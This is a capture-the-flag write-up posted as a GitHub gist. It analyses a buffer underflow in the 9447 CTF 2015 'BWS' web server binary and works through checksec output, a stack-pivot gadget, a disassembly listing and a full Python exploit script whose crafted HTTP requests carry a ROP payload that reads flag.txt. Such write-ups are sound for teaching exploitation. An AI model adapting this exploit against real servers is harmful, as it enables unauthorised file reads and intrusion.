Skip to content

Instantly share code, notes, and snippets.

@securifera
Created December 1, 2015 19:52
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save securifera/0c909a456fbe88059c36 to your computer and use it in GitHub Desktop.
Save securifera/0c909a456fbe88059c36 to your computer and use it in GitHub Desktop.

#9447-2015-CTF BWS

This challenge was the second part of the YWS challenge where a custom web server was hosting a website. From YMS, we found that there was a directory traversal bug that allowed us to list the files in the root directory. We could see that the root directory contained what appeared to be the flag.txt file we needed to read.

Sending a request for something that doesn't exist returns "Could not find <Input>". Attempting to retrieve the flag with "GET /../flag.txt HTTP/1.1" does not return anything from the server.

To get a better understanding of what is happening we open up the binary in IDA Pro. We locate the function responsible for handling the request at address 0x400D00. During the parsing of the request the function attempts to sanitize any requests that contain a "../" by rewinding the buffer to the first "/" before these characters. If one does not exist in the buffer, a buffer underflow occurs because the routine attempts to find a "/" anywhere in on the stack at a lower memory address.

With a little trial and error, we realize if we send an intial request that contains a "", then when we send a second request with the "../" trigger, the "" from the first request will still be in memory at lower address and cause memory corruption that will overwrite the current function return address.

At this point, we just need to determine the protections on the binary so we can begin constructing a proper payload.

gdb-peda$ peda checksec 
CANARY    : ENABLED
FORTIFY   : ENABLED
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

Since DEP is enabled, we need to create a ROP chain that will allow us to read our flag. We also need to pivot our stack since we are in the filename parsing section of the HTTP request and are unable to use NULL bytes here. Luckily we found a gadget at 0x400f39 that will work.

add     rsp, 1A8h
retn

Now that we've pivoted our stack, we begin thinking of the best way to read our flag and send it across the socket. Fortunately, the binary already provides this functionality. Starting at address 40115E, the binary passes rsp to read_file which is the path to the file to read and send back.

.text:000000000040115E                 mov     edx, 10000h     ; a3
.text:0000000000401163                 mov     esi, offset file_buf ; a2
.text:0000000000401168                 mov     rdi, rsp        ; a1
.text:000000000040116B                 call    read_file
.text:0000000000401170                 test    eax, eax
.text:0000000000401172                 js      short loc_4011C0
.text:0000000000401174                 xor     esi, esi
.text:0000000000401176                 mov     edx, offset file_buf
.text:000000000040117B                 test    ebp, ebp
.text:000000000040117D                 cmovz   rsi, rdx        ; a2
.text:0000000000401181                 mov     edi, offset a200Ok ; "200 OK"
.text:0000000000401186                 mov     edx, eax        ; a3
.text:0000000000401188                 call    send_response

Putting it all together we come up with the following script

#!/usr/bin/python
import socket
import sys
from pwn import *

if len (sys.argv) == 3:  
  (progname, host, port) = sys.argv  
else:  
  print len (sys.argv)  
  print 'Usage: {0} host port'.format (sys.argv[0])  
  exit (1)  


csock = socket.socket( socket.AF_INET, socket.SOCK_STREAM)  
csock.connect ( (host, int(port)) )  

raw_input()

data = "GET /"
data += "A"*253
data += "// HTTP/1.1"
data += "\x0d\x0a"
data += "\x0d\x0a"

csock.send(data)

print csock.recv(8192)

payload  = struct.pack( "Q", 0x40115E)
payload += "/../flag.txt\x00"

data = "GET /../"
data += "c" * 20
data += struct.pack("I",0x400f39)[:-1]

data += " HTTP/1.1"
data += "\x0d\x0a"

data += "B" * 78
data += payload

data += "\x0d\x0a"
data += "\x0d\x0a"

csock.send(data)

print csock.recv(8192)

csock.close()

Running our script we get

Flag: 9447{1_h0pe_you_L1ked_our_w3b_p4ge}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment